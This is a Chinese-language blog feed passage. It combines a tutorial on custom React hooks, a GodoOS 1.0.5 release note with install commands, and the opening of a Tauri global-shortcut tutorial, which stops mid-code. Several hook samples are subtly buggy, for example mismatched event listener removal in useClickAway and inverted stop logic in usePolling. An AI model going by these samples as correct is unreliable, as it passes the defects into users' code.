      // 否则设置一个定时器在间隔时间后更新值
      const id = window.setTimeout(() => {
        lastUpdated.current = now;
        setThrottledValue(value);
      }, interval);

      // 清除定时器
      return () => window.clearTimeout(id);
    }
  }, [value, interval]);

  return throttledValue;
}

useClickAway

useClickAway 是一个自定义的 React Hook,通常用于处理点击外部区域时的事件。它帮助你检测用户是否点击了某个元素之外的区域,并在此事件发生时执行特定的操作。常见的应用场景包括关闭弹出框、菜单、模态框等 UI 元素,或者处理点击外部区域的其他逻辑。

React 没有提供内置的 useClickAway,但我们可以通过监听点击事件来实现这个功能。通常,useClickAway 会监听整个文档的点击事件,并判断点击是否发生在指定的目标元素外部。

以下是一个简单的 useClickAway 实现示例:

function useClickAway(cb) {
  const ref = useRef(null);
  const cbRef = useRef(cb);

  useLayoutEffect(() => {
    cbRef.current = cb;
  });

  useEffect(() => {
    const handler = (event) => {
      if (ref.current && !ref.current.contains(event.target)) {
        cbRef.current?.(event);
      }
    };

    document.addEventListener("mousedown", handler);
    document.addEventListener("touchstart", handler);

    return () => {
      document.removeEventListener("mouseup", handler);
      document.removeEventListener("touchstart", handler);
    };
  }, []);

  return ref;
}

useEventBus

useEventBus 是一个自定义的 React Hook,用于实现事件总线(Event Bus)的功能。事件总线是一种用于组件之间通信的模式,它允许不同组件之间通过发布和订阅事件来进行交互,而不需要直接通过父子组件的传递 props 或上下文来实现。

useEventBus 的基本思想是:组件可以“订阅”某个事件,并在事件发生时执行回调函数;同样,组件也可以“发布”事件,通知其他订阅了该事件的组件。

以下是一个简单的 useEventBus 实现示例:

import { useRef, useCallback } from "react";

const eventsMap = new Map();

function useEventBus(eventName) {
  const events = useRef(eventsMap);
  const off = useCallback(
    (callback) => {
      const currentCallbacks = events.current.get(eventName);
      if (currentCallbacks) {
        events.current.set(
          eventName,
          currentCallbacks.filter((cb) => cb !== callback)
        );
      }
    },
    [eventName]
  );

  const on = useCallback(
    (callback) => {
      const currentCallbacks = events.current.get(eventName) || [];
      currentCallbacks.push(callback);
      events.current.set(eventName, currentCallbacks);
      return () => off(callback);
    },
    [eventName, off]
  );

  const emit = useCallback(
    (data) => {
      const currentCallbacks = events.current.get(eventName);
      if (currentCallbacks) {
        currentCallbacks.forEach((callback) => callback(data));
      }
    },
    [eventName]
  );

  const once = useCallback(
    (callback) => {
      const onceCallback = (data) => {
        callback(data); 
        off(onceCallback);
      };
      on(onceCallback); 
    },
    [off, on]
  );
  
  const reset = useCallback(() => {
    events.current.set(eventName, []);
  }, [eventName]);

  return {
    on,
    off,
    emit,
    once,
    reset,
  };
}

useElementSize

useElementSize 是一个自定义的 React Hook,用于获取和监听元素的尺寸变化(宽度和高度)。通常,它可以帮助你在元素大小发生变化时,自动更新对应的状态,从而触发相应的 UI 更新。这个 Hook 常常用于响应式布局、动态调整界面元素大小或处理元素大小变化的场景。

React 没有内置的 useElementSize,但你可以通过 ResizeObserver 来实现这种功能。ResizeObserver 是一种浏览器原生的 API,专门用于监听元素的大小变化。

以下是一个简单的 useElementSize 实现示例:

useElementSize(target) {
  const [width, setWidth] = useState(0);
  const [height, setHeight] = useState(0);

  useEffect(() => {
    const observer = new ResizeObserver((entries) => {
      for (let entry of entries) {
        setWidth(entry.contentRect.width);
        setHeight(entry.contentRect.height);
      }
    });

    observer.observe(target.current);

    return () => {
      observer.disconnect();
    };
  }, [target]);

  return { width, height };
}

useCounter

useCounter 是一个常见的自定义 React Hook,用于处理计数器功能(如增加、减少计数)。它封装了对状态的管理和更新,简化了计数器的实现。你可以通过传递初始值和增减步长来使用它,并且它通常会暴露一组操作方法,比如 incrementdecrementreset 等。

useCounter 的作用是让你更方便地管理计数状态,避免重复编写增加、减少和重置计数的代码。

以下是一个简单的 useCounter 实现示例:

useCounter(initialValue = 0, step = 1) {
  const [count, setCount] = useState(initialValue);

  const increment = useCallback(
    () => setCount((prevCount) => prevCount + step),
    [step]
  );
  const decrement = useCallback(
    () => setCount((prevCount) => prevCount - step),
    [step]
  );

  const reset = useCallback(() => setCount(initialValue), [initialValue]);

  return { count, increment, decrement, reset };
}

useMemoizedFn

useMemoizedFn 是一个自定义的 React Hook,用于优化函数的性能,确保在组件重新渲染时,某些函数不会被重新创建。它的作用是“记住”函数的实例,并确保函数的引用在渲染过程中保持稳定,从而避免不必要的重新渲染或者性能瓶颈。

在 React 中,每当组件重新渲染时,所有的函数都会被重新创建,这可能会导致不必要的性能问题,特别是在函数作为依赖传递给 useEffectuseCallback 或子组件的 props 时。useMemoizedFn 可以帮助解决这个问题,确保函数在每次渲染时保持相同的引用。

以下是一个简单的 useMemoizedFn 实现示例:

function useMemoizedFn(fn) {
  const ref = useRef(fn);

  // 确保 ref 始终指向最新的 fn
  ref.current = fn;

  return (...args) => ref.current(...args);
}

useFocusTab

useFocusTab 是一个自定义的 React hook,用于 管理和控制浏览器选项卡(Tab) 的焦点和切换行为。

以下是一个简单的 useFocusTab 实现示例:

function useFocusTab(cb) {
  const cbRef = useRef(cb);
  cbRef.current = cb;

  useEffect(() => {
    const handleVisibilityChange = () => {
      if (!document.hidden) {
        cbRef.current?.();
      }
    };

    document.addEventListener("visibilitychange", handleVisibilityChange);

    return () => {
      document.removeEventListener("visibilitychange", handleVisibilityChange);
    };
  }, []);
}

useInView

useInView 是一个常用的 React hook,通常用于检测元素是否进入视口(viewport)或者是否在用户当前可见的区域内。这在实现懒加载、滚动触发事件、或视差滚动等场景中非常有用。

useInView 主要帮助你判断一个 DOM 元素是否已经进入或离开视口,从而触发相应的动作。这可以用于:

  • 懒加载图片:当图片进入视口时才加载。
  • 滚动监听:当某个元素进入或离开视口时触发特定的动画或事件。
  • 触发特效:例如,用户滚动到特定位置时显示某些动画效果。

以下是一个简单的 useInView 实现示例:

function useInView(options) {
  const ref = useRef(null);
  const optionsRef = useRef(options);

  optionsRef.current = options;

  const [inView, setInView] = useState(false);

  useEffect(() => {
    const observer = new IntersectionObserver(([entry]) => {
      setInView(entry.isIntersecting);
    });

    observer.observe(ref.current, {
      rootMargin: "0px",
      threshold: 1.0,
      ...optionsRef.current,
    });

    return () => {
      observer.disconnect();
    };
  }, []);

  return { ref, inView };
}

useLocalStorage

useLocalStorage 是一个自定义的 React hook,用于简化与浏览器 localStorage 的交互。它可以让你轻松地存储、读取和更新浏览器的本地存储(localStorage)数据,同时保持 React 组件的状态同步。

localStorage 是一个 Web API,允许你将数据以键值对的形式存储在浏览器中,这些数据在页面刷新或浏览器关闭后依然保留。它是一个同步的存储机制,数据的生命周期通常为浏览器会话周期(直到用户清除浏览器缓存或者通过编程手段删除数据)。

useLocalStorage hook 基本上封装了 localStorage,使其更方便地与 React 组件的状态结合使用。这样你就可以像使用 useState 一样轻松操作本地存储。

以下是一个简单的 useLocalStorage 实现示例:

function useLocalStorage(key, initialValue) {
  // 获取初始值
  const [storedValue, setStoredValue] = useState(() => {
    try {
      // 从 localStorage 中读取数据
      const item = window.localStorage.getItem(key);
      return item ? JSON.parse(item) : initialValue;
    } catch (error) {
      console.error("Error reading localStorage key:", key, error);
      return initialValue;
    }
  });

  // 设置 localStorage 的值
  const setValue = useCallback(
    (value) => {
      try {
        const valueToStore =
          value instanceof Function ? value(storedValue) : value;
        setStoredValue(valueToStore);
        // 更新 localStorage
        window.localStorage.setItem(key, JSON.stringify(valueToStore));
      } catch (error) {
        console.error("Error setting localStorage key:", key, error);
      }
    },
    [key, storedValue]
  );

  const removeValue = useCallback(() => {
    try {
      window.localStorage.removeItem(key);
      setStoredValue(null);
    } catch (error) {
      console.error("Error removing localStorage key:", key, error);
    }
  }, [key]);

  return { storedValue, setValue, removeValue };
}

useScrollToBottom

useScrollToBottom 是一个自定义的 React hook,通常用于实现自动滚动到容器的底部功能,常见于聊天窗口、消息列表等场景。当容器内容变化(例如有新消息加入)时,它会自动将视图滚动到底部。

以下是一个简单的 useScrollToBottom 实现示例:

function useScrollToBottom(parentRef, childRef) {
  const [parentHeight, setParentHeight] = useState(0);

  const [childHeight, setChildHeight] = useState(0);

  useEffect(() => {
    const observer = new ResizeObserver((entries) => {
      for (let entry of entries) {
        console.log("parent height", entry.contentRect.height);
        setParentHeight(entry.contentRect.height);
      }
    });

    observer.observe(parentRef.current);

    return () => {
      observer.disconnect();
    };
  }, [parentRef]);

  useEffect(() => {
    const observer = new ResizeObserver((entries) => {
      for (let entry of entries) {
        console.log("child height", entry.contentRect.height);
        setChildHeight(entry.contentRect.height);
      }
    });

    observer.observe(childRef.current);

    return () => {
      observer.disconnect();
    };
  }, [childRef]);

  useEffect(() => {
    const parent = parentRef.current;
    const child = childRef.current;

    if (parent && child) {
      parent.scrollTop = child.scrollHeight;
    }
  }, [parentRef, childRef]);

  const goToBottom = useCallback(() => {
    if (childHeight > parentHeight) {
      parentRef.current?.scrollTo({
        top: childHeight - parentHeight,
        behavior: "smooth",
      });
    }
  }, [childHeight, parentHeight, parentRef]);

  useEffect(() => {
    goToBottom();
  }, []);

  return { goToBottom };
}

useWindowSize

useWindowSize 是一个常见的自定义 React hook,通常用于获取和监听浏览器窗口的大小(即宽度和高度)。它可以帮助你实现响应式设计或根据窗口尺寸动态调整页面布局或元素样式。

这个 hook 基本上监听 windowresize 事件,确保在窗口大小变化时,组件能够自动更新其状态,并提供最新的窗口尺寸。

以下是一个简单的 useWindowSize 实现示例:

function useWindowSize() {
  const [width, setWidth] = useState(window.innerWidth);
  const [height, setHeight] = useState(window.innerHeight);

  useEffect(() => {
    const observer = new ResizeObserver((entries) => {
      for (let entry of entries) {
        setWidth(entry.contentRect.width);
        setHeight(entry.contentRect.height);
      }
    });

    observer.observe(document.documentElement);

    return () => {
      observer.disconnect();
    };
  }, []);

  return { width, height };
}

useDrag && useDrop

useDraguseDrop 是 React hook,用于实现 拖拽(drag-and-drop) 功能。这两个 hook 通常与 React DnD(Drag and Drop)库一起使用,允许你在 React 应用中创建交互式的拖拽效果,比如拖动列表项、拖动文件等。

这两个 hook 提供了一种简洁的方式来处理拖拽操作,包括拖动、放置、更新组件状态等。它们通常一起使用:useDrag 用于设置拖动源,useDrop 用于设置放置目标。

useQueue

useQueue 通常是在编程或前端开发中使用的一个自定义 Hook,用于处理队列相关的操作。在 React 或 JavaScript 的一些框架中,它可能被用来管理队列的状态或逻辑。

具体来说,useQueue 可能会执行以下任务:

  1. 管理队列的状态:存储和管理一个数据结构(如数组或链表),表示当前的队列。
  2. 操作队列:提供像入队(enqueue)和出队(dequeue)这样的操作函数。
  3. 处理异步任务:在异步场景下,useQueue 可以帮助管理任务的顺序执行,确保任务按正确的顺序处理。

举个例子,假设你需要管理一个需要按顺序执行的异步任务队列,useQueue 可以帮助你按顺序处理每个任务,避免任务乱序执行或并发冲突。

import { useState, useCallback } from 'react';

function useQueue() {
  const [queue, setQueue] = useState([]);

  // 入队
  const enqueue = useCallback((item) => {
    setQueue((prevQueue) => [...prevQueue, item]);
  }, []);

  // 出队
  const dequeue = useCallback(() => {
    setQueue((prevQueue) => prevQueue.slice(1));
  }, []);

  return {
    queue,
    enqueue,
    dequeue
  };
}

export default useQueue;

应用场景

  • 任务排队:例如,在异步请求的场景下,任务需要按顺序执行,可以利用队列来确保任务按预定顺序逐个执行。
  • 消息队列:在应用中,队列可能被用来处理用户输入、消息发送等按顺序进行的操作。

usePolling

usePolling 是一个自定义的 React hook,用于实现 轮询 功能。轮询是一种定期检查某些数据或状态是否发生变化的机制,通常用于获取远程服务器的数据或检查某些后台任务的状态。usePolling hook 使得在 React 组件中实现轮询变得更加简洁和可维护。

轮询的典型应用:

  • 实时数据更新:例如,你的应用需要定期从服务器获取新的数据(例如实时股票价格、新闻更新等)。
  • 任务状态检查:例如,用户在后台提交了一个任务,需要定期检查任务的状态是否已完成。
  • 通知系统:例如,定期检查是否有新的通知或消息。

usePolling 通过定时请求某个函数(比如通过 API 请求、WebSocket 等),并根据需求设置轮询的间隔,直到满足停止条件。

以下是一个简单的 usePolling 实现示例:

function usePolling(callback, interval, shouldStopPolling) {
  const [isPolling, setIsPolling] = useState(false);

  const cbRef = useRef(callback);
  cbRef.current = callback;

  useEffect(() => {
    if (!shouldStopPolling) {
      return;
    }

    const intervalId = setInterval(() => {
      cbRef.current?.();
    }, interval);

    setIsPolling(true);

    return () => {
      clearInterval(intervalId);
      setIsPolling(false);
    };
  }, [interval, shouldStopPolling]);

  return isPolling;
}

useFullscreen

useFullscreen 是一个自定义的 React hook,用于让一个元素进入或退出全屏模式。它简化了在 React 中处理全屏功能的代码,允许你以更简洁的方式控制页面或元素的全屏显示。

以下是一个简单的 useFullscreen 实现示例:

import { useState, useRef, useCallback } from "react";

function useFullscreen() {
  const [isFullscreen, setIsFullscreen] = useState(false);
  const elementRef = useRef(null);

  const enterFullscreen = useCallback(() => {
    if (elementRef.current) {
      const element = elementRef.current;
      if (element.requestFullscreen) {
        element.requestFullscreen();
      } else if (element.mozRequestFullScreen) {
        element.mozRequestFullScreen(); // Firefox
      } else if (element.webkitRequestFullscreen) {
        element.webkitRequestFullscreen(); // Chrome, Safari, and Opera
      } else if (element.msRequestFullscreen) {
        element.msRequestFullscreen(); // IE/Edge
      }
      setIsFullscreen(true);
    }
  }, []);

  const exitFullscreen = useCallback(() => {
    if (document.exitFullscreen) {
      document.exitFullscreen();
    } else if (document.mozCancelFullScreen) {
      document.mozCancelFullScreen(); // Firefox
    } else if (document.webkitExitFullscreen) {
      document.webkitExitFullscreen(); // Chrome, Safari, and Opera
    } else if (document.msExitFullscreen) {
      document.msExitFullscreen(); // IE/Edge
    }
    setIsFullscreen(false);
  }, []);

  return { elementRef, isFullscreen, enterFullscreen, exitFullscreen };
}

export default useFullscreen;

useNotification

useNotification 是一个自定义的 React hook,用于简化应用中 浏览器通知(Web Notifications)的管理。它可以帮助你向用户显示桌面通知,而不需要手动处理通知 API 的底层细节。

以下是一个简单的 useNotification 实现示例:

const useNotification = (title, opts) => {
  const [isSupportedNotification, setIsSupportedNotification] = useState(false);

  const timeout = typeof opts.timeout === "number" ? opts.timeout : 5000;

  let notification = useRef(null);

  let timer;

  const onNotify = () => {
    if (isSupportedNotification) {
      Notification.requestPermission().then(function (permission) {
        if (permission === "granted") {
          console.log("User granted notification permission");

          if (timer) {
            clearTimeout(timer);
          }

          if (notification.current) {
            notification.current.close();
          }

          notification.current = new Notification(title, opts);

          if (typeof opts?.onClick === "function") {
            notification.current.addEventListener("click", (event) => {
              event.preventDefault();
              opts?.onClick?.();
              notification.current.close();
            });
          }

          if (typeof opts?.onClose === "function") {
            notification.current.onclose = opts?.onClose;
          }

          if (typeof opts?.onError === "function") {
            notification.current.onerror = opts?.onError;
          }

          if (typeof opts?.onShow === "function") {
            notification.current.onshow = opts?.onShow;
          }

          timer = setTimeout(function () {
            notification.current?.close();
          }, timeout);
        } else {
          console.log("User denied notification permission");
        }
      });
    }
  };

  const onClose = () => {
    notification.current?.close();
  };

  useEffect(() => {
    setIsSupportedNotification("Notification" in window);
  }, []);

  return {
    onNotify,
    onClose,
  };
};

useAudio

useAudio 是一个自定义的 React hook,用于简化音频播放的管理。它允许你轻松地在 React 组件中控制音频的播放、暂停、音量调节、进度控制等操作。

以下是一个简单的 useAudio 实现示例:

import { useState, useEffect, useRef } from 'react';

function useAudio(url) {
  const audioRef = useRef(null);
  const [isPlaying, setIsPlaying] = useState(false);
  const [currentTime, setCurrentTime] = useState(0);
  const [duration, setDuration] = useState(0);

  // 当音频 URL 改变时,重新加载音频
  useEffect(() => {
    if (audioRef.current) {
      audioRef.current.src = url;
    }
  }, [url]);

  // 处理音频播放和暂停
  const togglePlay = () => {
    if (isPlaying) {
      audioRef.current.pause();
    } else {
      audioRef.current.play();
    }
    setIsPlaying(!isPlaying);
  };

  // 更新当前播放时间和音频总时长
  const updateTime = () => {
    if (audioRef.current) {
      setCurrentTime(audioRef.current.currentTime);
      setDuration(audioRef.current.duration);
    }
  };

  // 音频播放时的事件监听
  useEffect(() => {
    const audio = audioRef.current;

    if (audio) {
      audio.addEventListener('timeupdate', updateTime);
      audio.addEventListener('ended', () => setIsPlaying(false)); // 播放结束时自动暂停

      return () => {
        audio.removeEventListener('timeupdate', updateTime);
      };
    }
  }, []);

  // 返回给组件的 API
  return {
    audioRef,
    isPlaying,
    currentTime,
    duration,
    togglePlay,
  };
}

export default useAudio;

useLogger

useLogger 是一个自定义的 React hook,用于 日志记录调试,帮助开发者在应用的不同阶段输出调试信息。它的主要作用是让你能够轻松地在 React 组件中打印日志,便于开发、调试和跟踪应用的状态变化或生命周期事件。

useLogger 的常见应用:

  • 开发过程中的调试:记录组件的渲染过程、状态变化等信息。
  • 错误追踪:帮助开发者追踪应用中的错误或异常情况。
  • 性能分析:记录性能相关的数据,比如渲染时间、API 请求等。
  • API 请求日志:自动记录每次发起的 API 请求和响应,便于调试和优化。

通过使用 useLogger,你可以更加高效地跟踪应用中的事件和状态,尤其在开发阶段非常有用。

以下是一个简单的 useLogger 实现示例:

function useLogger(componentName, state) {
  useEffect(() => {
    console.log(`[${componentName}] Mounted`);
    return () => {
      console.log(`[${componentName}] Unmounted`);
    };
  }, [componentName]);

  useEffect(() => {
    console.log(`[${componentName}] State updated:`, state);
  }, [componentName, state]);
}

useScroll

useScroll 是一个自定义的 React Hook,用于监听和处理滚动事件,特别是用于获取滚动位置(如页面或容器的滚动偏移量)。它可以帮助你在页面或元素滚动时执行特定操作,比如实现滚动加载、滚动动画、动态变化等。

在 React 中,通常通过 window.scrollYdocument.documentElement.scrollTop 来获取滚动位置,而 useScroll 这种自定义 Hook 将这些操作封装起来,提供一个更简洁和 React 风格的方式来处理滚动事件。

通常,useScroll 用于实现一些基于滚动的交互效果,比如:

  • 懒加载:当页面滚动到一定位置时,加载更多内容。
  • 滚动动画:根据滚动位置动态更新界面上的动画效果。
  • 固定导航:滚动到一定位置时,固定顶部或底部的导航栏。

通过 useScroll,你可以避免频繁的手动设置事件监听器,也能方便地在函数组件中处理滚动逻辑。

以下是一个简单的 useScroll 实现示例:

import { useState, useEffect } from 'react';

function useScroll(target = window) {
  const [scrollPosition, setScrollPosition] = useState({
    x: 0,
    y: 0,
  });

  useEffect(() => {
    const handleScroll = () => {
      if (target === window) {
        setScrollPosition({
          x: window.scrollX,
          y: window.scrollY,
        });
      } else {
        setScrollPosition({
          x: target.scrollLeft,
          y: target.scrollTop,
        });
      }
    };

    target.addEventListener('scroll', handleScroll);

    // 清理事件监听器
    return () => {
      target.removeEventListener('scroll', handleScroll);
    };
  }, [target]);

  return scrollPosition;
}

useMouse

useMouse 是一个自定义的 React Hook,用于获取并监听鼠标的位置。它能够实时追踪鼠标的坐标(如 xy),并在鼠标移动时更新状态。useMouse 常用于实现需要根据鼠标位置进行交互的功能,比如自定义的鼠标指针、拖拽、悬浮效果等。

这个 Hook 可以用于:

  • 鼠标位置显示:实时显示鼠标在页面或某个元素内的坐标。
  • 自定义鼠标指针:根据鼠标的位置改变页面元素的样式或触发动画。
  • 拖拽交互:根据鼠标的位置移动元素,创建拖拽效果。
  • 鼠标悬停效果:在鼠标悬停在某个区域时触发动画或交互。

以下是一个简单的 useMouse 实现示例:

function useMouse() {
  const [x, setX] = useState(0);
  const [y, setY] = useState(0);

  useEffect(() => {
    const updateMouse = (e) => {
      setX(e.clientX);
      setY(e.clientY);
    };

    window.addEventListener("mousemove", updateMouse);

    return () => {
      window.removeEventListener("mousemove", updateMouse);
    };
  }, []);

  return { x, y };
}

useClipboard

useClipboard 是一个自定义的 React hook,通常用于 复制到剪贴板 的操作。它使得你可以轻松地将文本或数据复制到用户的剪贴板,并且通常会返回一些有用的状态(如复制是否成功、是否正在复制等),以便你可以在界面上给用户反馈。

为什么需要 useClipboard

在现代 Web 应用中,经常会遇到需要将文本、链接或其他数据复制到剪贴板的场景,比如:

  • 用户点击一个按钮将某些信息复制到剪贴板。
  • 实现“复制链接”功能,让用户轻松分享链接。
  • 在表单中让用户复制某些已填好的内容。

通过 useClipboard,你可以轻松实现这些功能,而不需要直接操作底层的 API。

以下是一个简单的 useClipboard 实现示例:

function useClipboard() {
  const [isCopying, setIsCopying] = React.useState(false);

  const canUseClipboardApi =
    typeof navigator !== "undefined" &&
    navigator.clipboard &&
    navigator.clipboard.writeText;

  const toClipboard = async (text) => {
    try {
      setIsCopying(true);

      if (canUseClipboardApi) {
        await navigator.clipboard.writeText(text);
        console.log("Copied to clipboard via Clipboard API");
      } else {
        const textarea = document.createElement("textarea");
        textarea.value = text;
        document.body.appendChild(textarea);

        textarea.select();
        const successful = document.execCommand("copy");
        document.body.removeChild(textarea);

        if (successful) {
          console.log("Copied to clipboard via execCommand");
        } else {
          throw new Error("Failed to copy via execCommand");
        }
      }
    } catch (e) {
      console.error("Failed to copy text:", e);
    } finally {
      setIsCopying(false);
    }
  };

  return {
    toClipboard,
    isCopying,
  };
}

useTimeAgo

useTimeAgo 是一个自定义的 React hook,通常用于 格式化和显示时间,将给定的时间转换为类似“x分钟前”、“x小时前”或“x天前”的相对时间表示。这个 hook 是一种方便的方式,用于展示与当前时间相比的时间差,通常用于展示动态内容的发布时间、最后一次更新的时间等。

很多时候,尤其是在社交媒体、评论区、消息列表等应用中,我们希望以相对时间的形式展示日期/时间,而不是直接显示一个具体的日期(例如 "2023-01-01")。相对时间如 "2小时前"、"3天前" 等,对于用户来说更具可读性和直观性。

useTimeAgo 就是为了简化这一过程,它会根据当前时间和给定的时间戳,计算出相对时间并以友好的方式展示。

以下是一个简单的 useTimeAgo 实现示例:

function useTimeAgo(timestamp, options = {}) {
  // 存储最终的时间字符串
  const [timeAgo, setTimeAgo] = useState("");

  // 默认值
  const interval = options.interval ?? 60000; // 默认每分钟更新一次
  const locale = options.locale ?? "en"; // 默认语言为英文

  // 计算相对时间的函数
  const calculateTimeAgo = useCallback(() => {
    // 创建一个 RelativeTimeFormat 实例
    const rtf = new Intl.RelativeTimeFormat(locale, { numeric: "auto" });

    const now = Date.now();
    const diffInMs = now - new Date(timestamp).getTime();

    // 转换为秒、分钟、小时等
    const diffInSeconds = Math.floor(diffInMs / 1000);
    const diffInMinutes = Math.floor(diffInSeconds / 60);
    const diffInHours = Math.floor(diffInMinutes / 60);
    const diffInDays = Math.floor(diffInHours / 24);
    const diffInWeeks = Math.floor(diffInDays / 7);
    const diffInMonths = Math.floor(diffInDays / 30);
    const diffInYears = Math.floor(diffInDays / 365);

    // 根据不同的时间差,选择合适的单位和返回相应的字符串
    if (diffInSeconds < 60) {
      setTimeAgo(rtf.format(-diffInSeconds, "second"));
    } else if (diffInMinutes < 60) {
      setTimeAgo(rtf.format(-diffInMinutes, "minute"));
    } else if (diffInHours < 24) {
      setTimeAgo(rtf.format(-diffInHours, "hour"));
    } else if (diffInDays < 7) {
      setTimeAgo(rtf.format(-diffInDays, "day"));
    } else if (diffInWeeks < 5) {
      setTimeAgo(rtf.format(-diffInWeeks, "week"));
    } else if (diffInMonths < 12) {
      setTimeAgo(rtf.format(-diffInMonths, "month"));
    } else {
      setTimeAgo(rtf.format(-diffInYears, "year"));
    }
  }, [locale, timestamp]);

  useEffect(() => {
    // 初始化时计算一次时间
    calculateTimeAgo();
  }, []);

  // 每隔指定时间间隔更新一次相对时间
  useEffect(() => {
    // 启动定时器:每隔指定的时间间隔重新计算一次相对时间
    const intervalId = setInterval(calculateTimeAgo, interval);

    // 清理定时器:组件卸载时清理定时器
    return () => {
      clearInterval(intervalId);
    };
  }, [timestamp, interval, locale, calculateTimeAgo]); // 依赖项包括时间戳、时间间隔和语言设置

  // 返回更新后的时间字符串
  return timeAgo;
}

useIsFirstRender

useIsFirstRender 不是 React 的官方 hook,而是一些开发者或者库中定义的自定义 hook。它的目的是检测组件是否为首次渲染。

通常来说,它的实现原理是利用 React 的 useRef 来存储一个状态,判断组件是否已经渲染过一次。如果是首次渲染,它会返回 true,否则返回 false

以下是一个简单的 useIsFirstRender 实现示例:

const useIsFirstRender = () => {
  const isFirstRender = useRef(true);

  useEffect(() => {
   // 在第一次渲染完成后,设置为false
    isFirstRender.current = false; 
  }, []);

  return isFirstRender.current;
};

by 至简_ at January 25, 2025 08:25 AM

oschina news project

GodoOS V1.0.5 重大更新,新增知识库/本地代理支持

🎉 V1.0.5更新日志

  • 新增配置本地代理和远程代理,本地代理可实现本机ip映射外部域名,远程代理内嵌frpc设置后可实现内网用户外网域名访问。
  • 修改锁屏机制,确保外网访问安全。
  • 支持本地聊天ai对话文件和联网搜索。
  • 新增知识库,支持知识库根据文件夹智能生成,一键添加知识库索引,一键搜索知识库。
  • 新增复制/粘贴快捷键
  • 新增文件检索,支持分词查询文档内容
  • 新增frpc客户端管理,无需下载,支持一键启动和停止frpc客户端,实现内网穿透。
  • 新增本地代理管理,支持http/静态文件/udp转发代理,支持一键启动和停止本地代理服务。
  • 新增后台锁屏管理,可设定管理员和密码

GodoOS 简介

一款高效的内网办公操作系统,内含 word/excel/ppt/pdf/ 内网聊天 / 白板 / 思维导图等多个办公系统工具,支持原生文件存储和 AI 创作。平台界面精仿 windows 风格,操作简便,同时保持低资源消耗和高性能运行。无需注册即可自动连接内网用户,实现即时通讯和文件共享。灵活高配置的应用商店,可无限扩展。

📥 下载安装(v1.0.5)

  1. 💻 Windows 用户:
  1. 💼 MacOS 用户:

提示:下载后以godoos_web_darwin_amd64为例,命令行:

sudo chmod +x godoos_web_darwin_amd64
sudo ./godoos_web_darwin_amd64
 
  1. 💽 Linux 用户:
  • Linux (AMD64) Web版
  • Linux (ARM64) Web版 提示:下载后以godoos_web_darwin_amd64为例,root账号登录,命令行:
chmod +x godoos_web_darwin_amd64
./godoos_web_darwin_amd64
 

by 来源: 投稿 at January 25, 2025 08:13 AM

juejin frontend

Tauri(八)—— 实现全局快捷键功能

前言

在现代桌面应用中,快捷键是提高用户体验和工作效率的重要工具。许多应用程序都允许用户通过快捷键执行某些操作,Tauri 作为一个跨平台的桌面应用框架,也提供了丰富的功能来支持全局快捷键的实现。

本文将介绍如何在 Tauri 中实现全局快捷键功能,带领你一步步创建一个支持全局快捷键的桌面应用。

安装依赖

pnpm tauri add global-shortcut

pnpm tauri add store

安装完之后,在前端部分就能看到 @tauri-apps/plugin-global-shortcut,前端就可以类似的引入使用了:

import { register } from '@tauri-apps/plugin-global-shortcut';
// when using `"withGlobalTauri": true`, you may use
// const { register } = window.__TAURI__.globalShortcut;

await register('CommandOrControl+Shift+C', () => {
  console.log('Shortcut triggered');
});

安装完之后,在Rust 部分就能看到 tauri-plugin-global-shortcut,Rsut 也可以使用了:

pub fn run() {
    tauri::Builder::default()
        .setup(|app| {
            #[cfg(desktop)]
            {
                use tauri_plugin_global_shortcut::{Code, GlobalShortcutExt, Modifiers, Shortcut, ShortcutState};

                let ctrl_n_shortcut = Shortcut::new(Some(Modifiers::CONTROL), Code::KeyN);
                app.handle().plugin(
                    tauri_plugin_global_shortcut::Builder::new().with_handler(move |_app, shortcut, event| {
                        println!("{:?}", shortcut);
                        if shortcut == &ctrl_n_shortcut {
                            match event.state() {
                              ShortcutState::Pressed => {
                                println!("Ctrl-N Pressed!");
                              }
                              ShortcutState::Released => {
                                println!("Ctrl-N Released!");
                              }
                            }
                        }
                    })
                    .build(),
                )?;

                app.global_shortcut().register(ctrl_n_shortcut)?;
            }
            Ok(())
        })
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

权限配置

src-tauri/capabilities/default.json 文件中添加:

{
  "$schema": "../gen/schemas/desktop-schema.json",
  "identifier": "main-capability",
  "description": "Capability for the main window",
  "windows": ["main"],
  "permissions": [
    "global-shortcut:allow-is-registered",
    "global-shortcut:allow-register",
    "global-shortcut:allow-unregister",
    "global-shortcut:allow-unregister-all",
  ]
}

实现全局快捷键

src-tauri/src 目录下创建 shortcut.rs 文件:

use tauri::App;
use tauri::AppHandle;
use tauri::Manager;
use tauri::Runtime;
use tauri_plugin_global_shortcut::GlobalShortcutExt;
use tauri_plugin_global_shortcut::Shortcut;
use tauri_plugin_global_shortcut::ShortcutState;
use tauri_plugin_store::JsonValue;
use tauri_plugin_store::StoreExt;

/// Tauri 存储的名称
const COCO_TAURI_STORE: &str = "coco_tauri_store";

/// 用来存储全局快捷键的键值
const COCO_GLOBAL_SHORTCUT: &str = "coco_global_shortcut";

/// macOS 默认的快捷键
#[cfg(target_os = "macos")]
const DEFAULT_SHORTCUT: &str = "command+shift+space";

/// Windows 和 Linux 默认的快捷键
#[cfg(any(target_os = "windows", target_os = "linux"))]
const DEFAULT_SHORTCUT: &str = "ctrl+shift+space";

/// 在应用启动时设置快捷键
pub fn enable_shortcut(app: &App) {
    let store = app
        .store(COCO_TAURI_STORE)
        .expect("创建存储时不应该失败");

    // 如果存在存储的快捷键,使用它
    if let Some(stored_shortcut) = store.get(COCO_GLOBAL_SHORTCUT) {
        let stored_shortcut_str = match stored_shortcut {
            JsonValue::String(str) => str,
            unexpected_type => panic!(
                "COCO 快捷键应存储为字符串,发现类型: {} ",
                unexpected_type
            ),
        };
        let stored_shortcut = stored_shortcut_str
            .parse::<Shortcut>()
            .expect("存储的快捷键字符串应该有效");
        _register_shortcut_upon_start(app, stored_shortcut); // 注册存储的快捷键
    } else {
        // 如果没有存储快捷键,使用默认快捷键
        store.set(
            COCO_GLOBAL_SHORTCUT,
            JsonValue::String(DEFAULT_SHORTCUT.to_string()),
        );
        let default_shortcut = DEFAULT_SHORTCUT
            .parse::<Shortcut>()
            .expect("默认快捷键应该有效");
        _register_shortcut_upon_start(app, default_shortcut); // 注册默认快捷键
    }
}

/// 获取当前存储的快捷键,作为字符串返回
#[tauri::command]
pub fn get_current_shortcut<R: Runtime>(app: AppHandle<R>) -> Result<String, String> {
    let shortcut = _get_shortcut(&app);
    Ok(shortcut)
}

/// 获取当前快捷键并在 Tauri 端取消注册
#[tauri::command]
